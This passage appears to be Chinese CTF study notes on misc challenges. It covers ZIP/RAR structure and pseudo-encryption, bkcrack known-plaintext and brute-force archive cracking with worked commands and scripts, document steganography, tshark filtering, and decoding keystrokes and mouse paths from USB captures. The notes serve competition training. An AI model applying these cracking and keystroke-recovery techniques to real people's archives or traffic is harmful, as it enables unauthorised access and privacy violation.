# 从 raw 对象中获取可见的 Bayer 格式图像数据
bayer_visible = raw.raw_image_visible
# print(bayer_visible)
# 用 bitwise_and() 函数将 bayer_visible 中的每个像素值与 1 进行按位与操作,以提取每个像素的最低有效位(LSB)
lsb_array = np.bitwise_and(bayer_visible, 1)
# print(lsb_array)
# 使用 NumPy 数组的 flatten() 方法将 lsb_array 数组展平成一维数组
lsb_array_flat = lsb_array.flatten()
# print(lsb_array_flat)
hidden_message = ''.join(map(str, lsb_array_flat))
# 将隐写的数据转为十六进制,便于查看文件头
hex_data = hex(int(hidden_message, 2))
# print(hex_data[:10]) # 0x504b0304
# 将二进制数据转换为byte类型数据
data = libnum.b2s(hidden_message)

with open('flag.zip', 'wb') as f:
f.write(data)
  • 直接改后缀为.data,然后拖入Gimp即可

压缩包

压缩包密码在线破解网站

Tips:压缩包的密码可以是中英文字符和符号
​没有思路时可以直接纯数字/字母暴力爆破一下

zip文件结构

三部分:压缩文件源数据区 + 压缩源文件目录区 + 压缩源文件目录结束标志

文件源数据区

HEX 数据 描述 010Editor 模板数据
50 4B 03 04 zip 文件头标记,看文本的话就是 PK 开头 char frSignature[4]
0A 00 解压文件所需 pkware 版本 ushort frVersion
00 00 全局方式位标记(有无加密),头文件标记后 2bytes ushort frFlags
00 00 压缩方式 enum COMPTYPE frCompression
E8 A6 最后修改文件时间 DOSTIME frFileTime
32 53 最后修改文件日期 DOSDATE frFileDate
0C 7E 7F D8 CRC-32 校验 uint frCrc

文件目录区

HEX 数据 描述 010Editor 模板数据
50 4B 01 02 目录中文件文件头标记 char deSignature[4]
3F 00 压缩使用的 pkware 版本 ushort deVersionMadeBy
0A 00 解压文件所需 pkware 版本 ushort deVersionToExtract
00 00 全局方式位标记(有无加密),目录文件标记后 4bytes ushort frFlags
00 00 压缩方式 enum COMPTYPE frCompression
E8 A6 最后修改文件时间 DOSTIME frFileTime
32 53 最后修改文件日期 DOSDATE frFileDate
0C 7E 7F D8 CRC-32 校验 uint frCrc

文件目录结束

50 4B 05 06 目录结束标记 char elSignature[4]
00 00 当前磁盘编号 ushort elDiskNumber
00 00 目录区开始磁盘编号 ushort elStartDiskNumber

rar文件结构

HEX 数据 描述 010Editor 模板数据
52 61 72 21 1A 07 00 rar 文件头标记,文本为 Rar!

Main block

HEX 数据 描述 010Editor 模板数据
33 92 B5 E5 全部块的 CRC32 值 uint32 HEAD_CRC
0A 块大小 struct uleb128 HeadSize
01 块类型 struct uleb128 HeadType
05 阻止标志 struct uleb128 HeadFlag

File Header

HEX 数据 描述 010Editor 模板数据
43 06 35 17 单独块的 CRC32 值 uint32 HEAD_CRC
55 块大小 struct uleb128 HeadSize
02 块类型 struct uleb128 HeadType
03 阻止标志 struct uleb128 HeadFlag

Terminator

HEX 数据 描述 010Editor 模板数据
1D 77 56 51 固定的 CRC32 值 uint32 HEAD_CRC
03 块大小 struct uleb128 HeadSize
05 块类型 struct uleb128 HeadType
04 00 阻止标志 struct uleb128 HeadFlag

压缩包伪加密

zip文件:

可以直接用ZipCenOp.jar修复:

java -jar ZipCenOp.jar r screct.zip

WinRAR打开、010改标志位、binwalk直接分离

如果压缩文件已损坏,则尝试用winrar打开,工具-修复压缩包

压缩源文件数据区:7-8位表示有无加密

压缩源文件目录区:9-10位表示是否是伪加密

一般这俩地方都是09 00的,大概率就是伪加密了(直接把第二个PK后的09改了就行)

奇数为加密,偶数为不加密,frflag位

frFlags 用于告知压缩软件这个压缩包的一些信息,奇数(最低位为1)告诉压缩软件这个压缩包是被加密的。没有一个标志可以判断是否是伪加密,因为生活实际中根本就没有这样的需求。我们只能猜测这个 CTF 题目中,通过修改 frFlags,将未加密压缩包标记成了已加密。

7zip判断是否为加密是看record区的frflag位,bandzip和winrar判断是否为加密是看是看direntry区的deflag位,所以在出题的时候需要把两个位置同时修改。

rar文件:

第24个字节尾数为4表示加密,0表示无加密,将尾数改为0即可破解伪加密

CRC爆破(压缩包中文件比较小的时候)

使用CRC爆破需要文件大小小于等于18个字节

参考文章:https://blog.csdn.net/mochu7777777/article/details/110206427

可以使用CTFD中的两种脚本爆破一下(速度不同)

明文攻击

已知所有的明文或三段密钥

使用Advanced Archive Password Recovery破解

有和压缩包中的一样(CRC值一样)的文件时,压缩然后用AAPR进行明文攻击,这个攻击的过程可能需要几分钟

有了完整的三段密钥也可以使用这个工具破解密码

使用bkcrack破解

1
2
#将bkcrack作为系统命令使用
cp bkcrack /usr/sbin/bkcrack
1
2
3
4
命令的格式为:bkcrack -C 加密的压缩包 -c 存在明文的文件 -p 存储了明文的文本
-C: 加密的需要破解的压缩包
-c: 被加密压缩包内明文文件的名称
-p: 已有的 在被加密压缩包外的明文文本的名称
已知部分明文

利用bkcrack进行攻击

参考资料

1
2
https://www.freebuf.com/articles/network/255145.html
https://byxs20.github.io/posts/30731.html#%E6%80%BB%E7%BB%93

该利用方法的具体要求如下:

1
2
3
4
至少已知明文的12个字节及偏移,其中至少8字节需要连续。
明文对应的文件加密方式为ZipCrypto
Tips:进行明文攻击前要判断制作压缩包的压缩工具,然后对已知明文使用特定工具进行压缩,再进行明文攻击
例子:bkcrack -C \$R9EG7XR.zip -c flag.txt -k 958597ea b9f7740b 622aed5e -d flag.txt

如何判断压缩工具(参考自B神的博客)

压缩攻击 VersionMadeBy(压缩所用版本)
Bandzip 7.06 20
Windows自带 20
WinRAR 4.20 31
WinRAR 5.70 31
7-Zip 63

bkcrack常用参数

1
2
3
4
5
6
7
8
9
-c 要解密的文件
-P 已知明文所在的压缩包
-p 已知的明文部分
-x 压缩包内目标文件的偏移地址 部分已知明文值
-C 加密压缩包
-o offset -p参数指定的明文在压缩包内目标文件的偏移量
-k 后面加破解出的三段密钥
-d 后面加解密后数据的保存位置
-U 修改压缩包密码并导出 bkcrack -C flag.zip -c hint.jpg -k afb9fee3 f8795353 f6de1d4e -U out.zip 114514

例题:

1
2
3
4
#Tips:
xxd // xxd 命令用于用二进制或十六进制显示文件的内容
-r // 把xxd的十六进制输出内容转换回原文件的二进制内容
-ps // 以 postscript的连续十六进制转储输出,这也叫做纯十六进制转储
1)简单的加密文本压缩包破解
1
flag{16e371fa-0555-47fc-b343-74f6754f6c01}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#攻击步骤如下:
#准备已知明文
echo -n "lag{16e3" > plain1.txt #连续的8明文
echo -n "74f6" | xxd #额外明文的十六进制格式,37346636
#攻击,-o是偏移量
bkcrack -C flag_360.zip -c flag.txt -p plain1.txt -o 1 -x 29 37346636
#由于时间较长,为防止终端终端导致破解中断,可以加点小技巧
bkcrack -C flag_360.zip -c flag.txt -p plain1.txt -o 1 -x 29 37346636 > 1.log&
#后台运行,结果存入1.log
#加上time参数方便计算爆破时间
time bkcrack -C flag_360.zip -c flag.txt -p plain1.txt -o 1 -x 29 37346636 > 1.log&
#查看爆破进度
tail -f 1.log
#使用该秘钥进行解密:
bkcrack -C flag_360.zip -c flag.txt -k b21e5df4 ab9a9430 8c336475 -d flag.txt
1
2
#-p 指定的明文不需要转换,-x 指定的明文需要转成十六进制
#提到的偏移都是指 “已知明文在加密前文件中的偏移”。
2)利用PNG图片文件头破解
1
2
3
4
5
6
#准备已知明文
echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
#攻击
time bkcrack -C png4.zip -c 2.png -p png_header -o 0 >1.log&
tail -f 1.log
time bkcrack -C png4.zip -c flag.txt -k e0be8d5d 70bb3140 7e983fff -d flag.txt
3)利用压缩包格式破解
1
2
3
4
5
将一个名为flag.txt的文件打包成ZIP压缩包后,发现文件名称会出现在压缩包文件头中,且偏移固定为30。且默认情况下,flag.zip也会作为该压缩包的名称。
已知的明文片段有:
“flag.txt” 8个字节,偏移30
ZIP本身文件头:50 4B 03 04 ,4字节
满足12字节的要求
1
2
3
4
5
6
7
8
9
echo -n "flag.txt" > plain1.txt #-n参数避免换行,不然文件中会出现换行符,导致攻击失效
time bkcrack -C test5.zip -c flag.zip -p plain1.txt -o 30 -x 0 504B0304 >1.log&
tail -f 1.log
bkcrack -C test5.zip -c flag.zip -k b21e5df4 ab9a9430 8c336475 -d flag.zip
#但若想解密2.png,由于是ZipCrypto deflate加密的
#使用deflate算法压缩的文件,解码出来的是Deflate的数据流
#所以解密后需要bkcrack/tool内的inflate.py脚本再次处理
bkcrack -C test5.zip -c 2.png -k b21e5df4 ab9a9430 8c336475 -d 2.png
python3 inflate.py < 2.png > 2_out.png

Tips:如果这里用"XXXXX.txt"作为plaint1.txt无法破解出密钥,可以试试直接去掉后缀再作为plaint1.txt

例如:NKCTF2023——五年Misc,三年模拟

1
2
3
#echo -n "handsome.txt" > plain1.txt 破解失败
echo -n "handsome" > plain1.txt
time bkcrack -C test5.zip -c handsome.zip -p plain1.txt -o 30 -x 0 504B0304 >1.log&
4)EXE文件格式破解
1
2
EXE文件默认加密情况下,不太会以store方式被加密,但它文件格式中的的明文及其明显,长度足够。如果加密ZIP压缩包出现以store算法存储的EXE格式文件,很容易进行破解。
大部分exe中都有这相同一段,且偏移固定为64:

image

1
2
3
4
echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen
time bkcrack -C nc64.zip -c nc64.exe -p mingwen -o64 >1.log&
tail -f 1.log
bkcrack -C nc64.zip -c nc64.exe -k b21e5df4 ab9a9430 8c336475 -d nc64.exe
5)流量包pcapng格式解密
1
2
3
echo -n "00004D3C2B1A01000000FFFFFFFFFFFFFFFF" | xxd -r -ps > pcap_plain1
time bkcrack -C 3.zip -c capture.pcapng -p pcap_plain1 -o 6
bkcrack -C 3.zip -c capture.pcapng -k e33a580c c0c96a81 1246d892 -d out.pcapng
6)网站相关文件破解
1
2
3
robots.txt的文件开头内容通常是User-agent: * 
html文件开头通常是 <!DOCTYPE html>
xml文件开头通常是<?xml version="1.0" encoding="UTF-8"?>
1
2
3
echo -n '<?xml version="1.0" encoding="UTF-8"?>' > xml_plain
time bkcrack -C xml.zip -c 123/web.xml -p xml_plain -o 0 //注意相对路径
bkcrack -C xml.zip -c 123/web.xml -k e0be8d5d 70bb3140 7e983fff -d web.xml
7)SVG文件格式破解
1
2
3
4
5
6
7
8
9
#SVG是一种基于XML的图像文件格式
echo -n '<?xml version="1.0" ' > plain.txt
bkcrack -C secrets.zip -c spiral.svg -p plain.txt -o 0
#解密 Store算法 直接解密即可
bkcrack -C secrets.zip -c spiral.svg -k c4038591 d5ff449d d3b0c696 -d spiral_deciphered.svg
#解密 deflate算法
bkcrack -C secrets.zip -c advice.jpg -k c4038591 d5ff449d d3b0c696 -d out.jpg
#该文件使用了deflate算法压缩的,解码出来的是Deflate的数据流,因此须将其解压缩。
python3 inflate.py < out.jpge > flag.jpg
8)VMDK文件格式破解
1
2
3
echo -n "4B444D560100000003000000" | xxd -r -ps > plain2
time bkcrack -C Easy_VMDK.zip -c flag.vmdk -p plain2 -o 0
time bkcrack -C Easy_VMDK.zip -c flag.vmdk -k xxx xxx xxx -d flag.vmdk

有时候直接给你部分明文的情况(2023 DASCTFxCBCTF)

直接在bkcrack中使用以下命令即可,key是题目给的压缩包中被压缩文件的部分明文

1
bkcrack -C purezip.zip -c 'secret key.zip' -p key

直接给了加密压缩包中部分文件的情况

例题1 - 2023 古剑山-幸运饼干

  • 可以先把该文件用压缩软件压缩成一个压缩包,然后用 Advanced Archive Password Recovery 明文攻击试试看

  • 用压缩软件把该文件压缩成一个压缩包,然后使用 bkcrack 进行明文攻击

    为什么需要压缩成压缩包呢?因为如果不带上压缩包进行明文攻击的话会报下面这个错误

    1
    2
    3
    $ bkcrack -C flag.zip -c 'hint.jpg' -p hint.jpg
    bkcrack 1.5.0 - 2023-03-08
    Data error: ciphertext is smaller than plaintext.

    用 -P 参数带上压缩包后即可正确解密出密钥

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ bkcrack -C flag.zip -c hint.jpg -p hint.jpg -P hint.zip
    bkcrack 1.5.0 - 2023-03-08
    [14:37:27] Z reduction using 25761 bytes of known plaintext
    100.0 % (25761 / 25761)
    [14:37:29] Attack on 289 Z values at index 21821
    Keys: afb9fee3 f8795353 f6de1d4e
    100.0 % (289 / 289)
    [14:37:29] Keys
    afb9fee3 f8795353 f6de1d4e

    因此这种情况一定要记得将已有的文件用适当的压缩方法压缩成压缩包,然后用-P参数带上这个压缩包

例题1 - 2023 铁三决赛-baby_jpg

我们先从部分伪加密的压缩包中分离出了 serect.pdf,然后从PDF中 foremost 出了加密压缩包中的 sha512.txt

将 sha512.txt 压缩成 sha512.zip,然后使用下面的命令进行明文攻击即可:

其中 -C 后是要破解的压缩包,-c 后是压缩包中我们要破解的文件,-P 后是我们压缩好的压缩包,-p 后是我们已得的文件

1
2
3
4
5
6
7
8
9
$ bkcrack -C 00000218.zip -c 'sha512.txt' -P sha512.zip -p sha512.txt
bkcrack 1.5.0 - 2023-03-08
[16:14:25] Z reduction using 78 bytes of known plaintext
100.0 % (78 / 78)
[16:14:25] Attack on 104916 Z values at index 6
Keys: ed3fb6a9 1c4a7211 c07461ed
59.9 % (62867 / 104916)
[16:14:52] Keys
ed3fb6a9 1c4a7211 c07461ed

破解出密钥后,用 -U 参数修改压缩包密码并导出

1
2
3
4
5
$ bkcrack -C 00000218.zip -k ed3fb6a9 1c4a7211 c07461ed -U out.zip 111
bkcrack 1.5.0 - 2023-03-08
[16:15:44] Writing unlocked archive out.zip with password "111"
100.0 % (3 / 3)
Wrote unlocked archive.
在比赛中的使用记录

2022 西湖论剑zipeasy

1
bkcrack -C zipeasy.zip -c dasflow.zip -x 30 646173666c6f772e706361706e67 -x 0 504B0304 > 1.log &

2023 DASCTFxCBCTF

利用bkcrack反向爆破密钥

1
2
3
4
5
6
7
bkcrack -k e48d3828 5b7223cc 71851fb0 -r 3 \?b
#bkcrack 1.5.0 - 2023-03-08
#[17:47:50] Recovering password
#length 0-6...
#[17:47:50] Password
#as bytes: 8b e7 dc
#as text: ���

然后如果要对得到的密钥进行MD5加密,可以使用CyberChef(From Hex + MD5)

image

Tips:题目做不出来可以尝试多换几个压缩软件:Bandzip、Winrar、7zip、360压缩、2345压缩等

暴力破解(爆破时注意限制长度)

可以使用 Advanced Archive Password Recovery 进行爆破

(1) 如果知道部分的密码,可以使用掩码攻击,例如:???LiHua

(2) 没啥思路的时候可以直接用纯数字密码爆破看看,也可以用字典爆破

(3) 如果爆破的速度很慢,可以用 Passware Kit Forensic 2021 v1 (64-bit) 来爆破(也可以自定义字典)

连环套压缩包

可以用fcrackzip进行爆破或者使用CTFD中的脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile
import re
file_name = 'pic/' + 'f932f55b83fa493ab024390071020088.zip'
while True:
try:
zf = zipfile.ZipFile(file_name)
re_result = re.search('[0-9]*', zf.namelist()[0])
passwd = re_result.group()
zf.extractall(path='pic/', pwd=re_result.group().encode('ascii'))
file_name = 'pic/' + zf.namelist()[0]
except:
print("get the result")

未知后缀的压缩包

可以多用几个压缩软件试试,比如Winrar 7z

分卷压缩包合并

1
copy /B topic.zip.001 + topic.zip.002+topic.zip.003+topic.zip.004+topic.zip.005+topic.zip.006 topic.zip

压缩包炸弹

很小的压缩文件,解压出来会占据巨大的空间,甚至撑爆磁盘
处理方法:010中直接编辑压缩包文件,看看是否藏有另一个压缩包

根据010中的模板修改了某些参数

有些题目可能会修改源数据中压缩包文件中被压缩文件的文件名的长度

源数据中被压缩文件名字的长度对不上也会导致解压后文件无法打开

所以…010的模板功能真的非常非常的好用!

image

压缩包密码是不可见字符

字节数很短的情况

直接写个Python脚本爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import zipfile
import libnum

def solve():
# 在ASCII编码中,一个字符占用8位(1字节)
for i in range(256):
for j in range(256):
fz = zipfile.ZipFile('secret key.zip', 'r')
password = libnum.n2s(i) + libnum.n2s(j)
print(f"[+]正在尝试密码{password}")
try:
fz.extractall(pwd=password)
fz.close()
return password
except:
fz.close()
continue
return None

if __name__ == "__main__":
password = solve()
if password:
print(f"[+]压缩包解压成功,密码是{password}")
else:
print(f"[+]在该范围内找不到压缩包密码,压缩包解压失败")
字节数较长的情况

需要先把密码base64编码一下,然后再base64解码成byte类型作为密码

1
2
3
4
5
6
7
8
9
10
11
import base64
import pyzipper

target_zip = '1.zip'
outfile = './solved'

pwd = base64.b64decode(b'aEXigItjVOKAjEbigI8=')
# b'hE\xe2\x80\x8bcT\xe2\x80\x8cF\xe2\x80\x8f'
with pyzipper.AESZipFile(target_zip, 'r') as f:
f.pwd = pwd
f.extractall(outfile)

PDF隐写

  • 直接binwalk或者foremost解出隐藏文件

  • 可能是wbStego4open隐写,用wbStego4open直接decode

  • PDF中可能携带了什么文件,可以在Firefox或者别的PDF软件中打开并提取

  • PDF中可能有透明的文字,直接全选复制然后粘贴到记事本中查看即可

  • DeEgger Embedder隐写,可以直接使用 DeEgger Embedder 工具 extract files

  • 部分PDF可以用Photoshop打开,关键信息可能隐藏在下面的图层里,例如 2024 古剑山 - jpg,尤其是Adobe Acrobat Pro出现提示:无法选择文本,这是扫描的PDF,因此您无法选择和复制文本,要运行文本识别 (OCR) 以选择文本吗?

    image

    image

MS-Office隐写

Excel文件:.xls .xlsx

  • 拉入010或者记事本,查找flag

  • 取消隐藏先前隐藏的行和列

  • 条件格式里设置突出显示某些单元格(黑白后可能会有图案)

  • 要先将数据按照行列排序后再进行处理

Word文件:.doc .docx

  • 直接foremost出隐藏文件

  • 与宏有关系的各种攻击与隐写

    • 分析word中的宏需要用到这样一个工具:oletools

      这个工具直接在pip中安装即可使用: pip3 install oletools

      doc格式可以不需要文档密码直接提取其中的vba宏代码

      安装好oletools后直接运行以下代码提取即可,可能加密文档的加密算法就在期中

      1
      olevba attachment.doc > test.txt
  • 利用行距来隐写(例:ISCC2023-汤姆历险记)

    word中可能有一段是1倍行距,可能又有一段是1.5倍行距,需要根据不同行距敲出摩斯电码(单倍转为.多倍转为-空行转为空格或者分隔符)

TXT文本隐写

  • NTFS流隐写

    直接用NtfsStreamsEditor2扫描所在文件夹,然后导出文件

    注意有关NTFS数据流的压缩包要使用WinRAR解压,否则可能遇到扫不出来的情况

  • wbStego4open隐写

    用wbStego4open直接decode(可能有密钥)

  • 无字天书(whitespace)&snow隐写

    在线网站:https://vii5ard.github.io/whitespace/
    snowdos32工具目录下运行 SNOW.EXE -C -p password flag.txt 命令即可

  • 垃圾邮件隐写(spammimic)

    在线网站:https://www.spammimic.com/

HTML隐写

  • wbStego4open隐写

流量分析

拿到流量包后,第一件事就是可以先 strings | grep flag{ 一下,说不定 flag 就直接出了

当然也可以使用凤二西师傅的 破空_flag查找工具3.5.exe 来搜索 flag

WireShark基础

刚刚接触流量分析的同学可能会不太清楚 wireshark 的过滤器如何使用

但是用熟悉了其实很简单

常见的协议比如 http ,常用的有下面这些参数,其实只要在过滤器中输入 http. 它就会自动提示你了

1
2
3
http.request.method == "POST"
http.request.full_uri == “XXX”
......

还有一些比较常用的

1
2
# 包含什么内容的帧
frame contains "XXX"

其实这里可以直接右击想要过滤的字段,然后作为过滤器选中,上面就会自己跳出来过滤的表达式了(这里也可以使用或选中和且选中)

有了这个表达式,就可以带入下面的 tshark 命令一键提取所有过滤出来的帧的指定字段的数据了

image

tshark使用教程

导出流量包中所有POST数据包的data数据

1
2
3
4
5
tshark -r 1.pcapng -Y "http.request.method == POST" -T fields -e data.data > data.txt
# -r [输入的pcap文件路径]: 指定要分析的pcap文件。
# -Y "http.request.method == POST": 使用一个显示过滤器只显示POST请求。
# -T fields: 输出指定的字段数据。
# -e http.file_data: 输出HTTP负载的数据。

导出HTTP数据包中所有的数据

1
tshark -r 1.pcapng -Y "http" -T fields -e http.file_data > data.txt

可以使用 uniq 参数去除重复行

1
tshark -r 1.pcapng -Y "dns" -T fields -e dns.qry.name | uniq  > data.txt

流量分析基础考点

  • wireshark提取数据流:

​ 可以用tcpxtract工具:tcpxtract -f 1.pcap

​ strings webshell.pcapng | grep {

​ //打印出文件中所有可打印字符

  • 协议分级+导出HTTP对象

  • 流量包端口隐写(可能会有01互换)

  • TCP/FTP协议传输文件(binwalk和foremost都没用):

    • 直接用wireshark导出为pcap文件然后用networkminer分析
    • 拉入kali用tcpxtract提取文件:tcpxtract -f +文件名.pcap
    • 直接追踪流提取16进制,根据文件头尾提取出文
  • 有时候可能需要分版本分别导出

  • 可能可以直接搜索flag明文或者编码加密过的flag

搜索flag脚本,待改进。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#Python2 的脚本
# encoding:utf-8
import os
import os.path
import sys
import subprocess

#打印可打印字符串
def str_re(str1):
str2=""
for i in str1.decode('utf8','ignore'):
try:
#print(ord(i))
if ord(i) <= 126 and ord(i) >= 33:
str2 += i
except:
str2 += ""
#print(str2)
return str2


#写入文本函数
def txt_wt(name,txt1):
with open("output.txt","a") as f:
f.write('filename:'+name)
f.write("\n")
f.write('flag:'+txt1)
f.write("\n")

#第一次运行,清空output文件
def clear_txt():
with open("output.txt","w") as f:
print "clear output.txt!!!"

# 递归遍历的所有文件
def file_bianli():
# 路径设置为当前目录
path = os.getcwd()
# 返回文件下的所有文件列表
file_list = []
for i, j, k in os.walk(path):
for dd in k:
if ".py" not in dd and "output.txt" not in dd:
file_list.append(os.path.join(i, dd))
return file_list

#查找文件中可能为flag的字符串

def flag(file_list,flag):
for i in file_list:
try:
with open(i,"rb") as f:
for j in f.readlines():
j1=str_re(j)#可打印字符串
#print j1
for k in flag:
if k in j1:
txt_wt(i, j1)
print 'filename:',i
print 'flag:',j1
except:
print 'err'

flag_txt = ['flag{', '666c6167','flag','Zmxh','&#102', '666C6167']

#清空输出的文本文件
clear_txt()
#遍历文件名
file_lt=file_bianli()
#查找flag关键字
flag(file_lt,flag_txt)

USB流量分析

4字节为鼠标流量,8字节为键盘流量。

数据部分在Leftover Capture Data域中

**一些奇技淫巧:**Alt键+数字键分析,可以获得ASCII码

image

键盘流量分析

例题5:键盘流量分析

先在wsl或者别的虚拟机中用tshark提取数据

1
2
#提取数据的命令,这里用正则表达式剔除了空行
tshark -r usb.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

Tips:老版本的tshark提取数据是有冒号的,新版本就没有冒号了,所以需要我们自己添加冒号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#给键盘流量数据添加冒号.py
f = open('usbdata.txt', 'r')
fi = open('out.txt', 'w')
while 1:
a = f.readline().strip()
if a:
if len(a) == 16: # 鼠标流量的话len改为8
out = ''
for i in range(0, len(a), 2):
if i + 2 != len(a):
out += a[i] + a[i + 1] + ":"
else:
out += a[i] + a[i + 1]
fi.write(out)
fi.write('\n')
else:
break

fi.close()

加完冒号以后我们就可以直接用脚本翻译数据了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#翻译键盘数据1.py
normalKeys={"04":"a","05":"b","06":"c","07":"d","08":"e","09":"f","0a":"g","0b":"h","0c":"i","0d":"j","0e":"k","0f":"l","10":"m","11":"n","12":"o","13":"p","14":"q","15":"r","16":"s","17":"t","18":"u","19":"v","1a":"w","1b":"x","1c":"y","1d":"z","1e":"1","1f":"2","20":"3","21":"4","22":"5","23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>","2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>","3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys={"04":"A","05":"B","06":"C","07":"D","08":"E","09":"F","0a":"G","0b":"H","0c":"I","0d":"J","0e":"K","0f":"L","10":"M","11":"N","12":"O","13":"P","14":"Q","15":"R","16":"S","17":"T","18":"U","19":"V","1a":"W","1b":"X","1c":"Y","1d":"Z","1e":"!","1f":"@","20":"#","21":"$","22":"%","23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>","2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>","3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0] != '0' or (
line[1] != '0' and line[1] != '2'
) or line[3] != '0' or line[4] != '0' or line[9] != '0' or line[
10] != '0' or line[12] != '0' or line[13] != '0' or line[
15] != '0' or line[16] != '0' or line[18] != '0' or line[
19] != '0' or line[21] != '0' or line[
22] != '0' or line[6:8] == "00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],
[shiftKeys[line[6:8]]]][line[1] == '2']
else:
output += ['[unknown]']
except:
pass

keys.close()

flag = 0
print("".join(output))
for i in range(len(output)):
try:
a = output.index('<DEL>')
del output[a]
del output[a - 1]
except:
pass

for i in range(len(output)):
try:
if output[i] == "<CAP>":
flag += 1
output.pop(i)
if flag == 2:
flag = 0
if flag != 0:
output[i] = output[i].upper()
except:
pass

print('output :' + "".join(output))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#翻译键盘数据2.py
mappings={0x04:"A",0x05:"B",0x06:"C",0x07:"D",0x08:"E",0x09:"F",0x0A:"G",0x0B:"H",0x0C:"I",0x0D:"J",0x0E:"K",0x0F:"L",0x10:"M",0x11:"N",0x12:"O",0x13:"P",0x14:"Q",0x15:"R",0x16:"S",0x17:"T",0x18:"U",0x19:"V",0x1A:"W",0x1B:"X",0x1C:"Y",0x1D:"Z",0x1E:"1",0x1F:"2",0x20:"3",0x21:"4",0x22:"5",0x23:"6",0x24:"7",0x25:"8",0x26:"9",0x27:"0",0x28:"\n",0x2a:"[DEL]",0X2B:"",0x2C:"",0x2D:"-",0x2E:"=",0x2F:"[",0x30:"]",0x31:"\\",0x32:"~",0x33:";",0x34:"'",0x36:",",0x37:"."}
nums = []
keys = open('out.txt')
for line in keys:
if line[0] != '0' or line[1] != '0' or line[3] != '0' or line[
4] != '0' or line[9] != '0' or line[10] != '0' or line[
12] != '0' or line[13] != '0' or line[15] != '0' or line[
16] != '0' or line[18] != '0' or line[19] != '0' or line[
21] != '0' or line[22] != '0':
continue
nums.append(int(line[6:8], 16))

keys.close()

output = ""
for n in nums:
if n == 0:
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'

print('output :\n' + output)

提取出来的数据如果有<SPACE><DEL><RET>,我们可以用vscode中的正则匹配来替换他们

鼠标流量

例题6:键盘流量分析

前两步和键盘流量一样,提取数据并加冒号,但是这里要注意判断数据的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#给数据添加冒号.py
f = open('usbdata.txt', 'r')
fi = open('out.txt', 'w')
while 1:
a = f.readline().strip()
if a:
if len(a) == 8: # 键盘流量的话len改为16
out = ''
for i in range(0, len(a), 2):
if i + 2 != len(a):
out += a[i] + a[i + 1] + ":"
else:
out += a[i] + a[i + 1]
fi.write(out)
fi.write('\n')
else:
break

fi.close()

根据加完冒号的数据获取坐标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#获取鼠标坐标.py
nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 : # 1 代表左键
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')

f.close()

之后可以用gnuplot或者用python脚本画图

1
2
#gnuplot画图命令
gnuplot> plot "xy.txt"
1
2
3
4
5
6
7
#根据坐标画图.py
import matplotlib.pyplot as plt
import numpy as np

x, y = np.loadtxt('xy.txt', delimiter=' ', unpack=True)
plt.plot(x, y, '.')
plt.show()

如果图片是反的或者是镜像的,可以用PS处理一下

数位板流量分析:

先导出数据

tshark -r hard_Digital_plate.pcapng -T fields -e usbhid.data | sed ‘/^\s*$/d’ > out.txt

#提取并去除空行

类似于:

1
2
3
4
5
6
7
8
9
10
11
12
13
08803708951e000000000000
08803708951e000000000000
08803708951e000000000000
08803708951e000000000000
08803708951e000000000000
08813708951e650000000000
08813808951ec10000000000
08813908951e2e0100000000
08813a08951e940100000000
08813b08951ee20100000000
08813c08951e1c0200000000
08813c08951e440200000000
08813c08951e610200000000

第二个字节代表了是否启用0x81位有效坐标,同时后四位还有数位板的压感值。

当第二字节为0x81时,说明数位板正在作画,且第8字节和第9字节存在压感值,当第二字节为0x80时,说明数位板没有落笔,即没有作画,此时第8字节和第9字节不存在压感,为0x0000。

坐标分析直接说结论,第5-8位是x轴坐标,第9-12位是y轴坐标,并且是小端序储存方法。

例如:

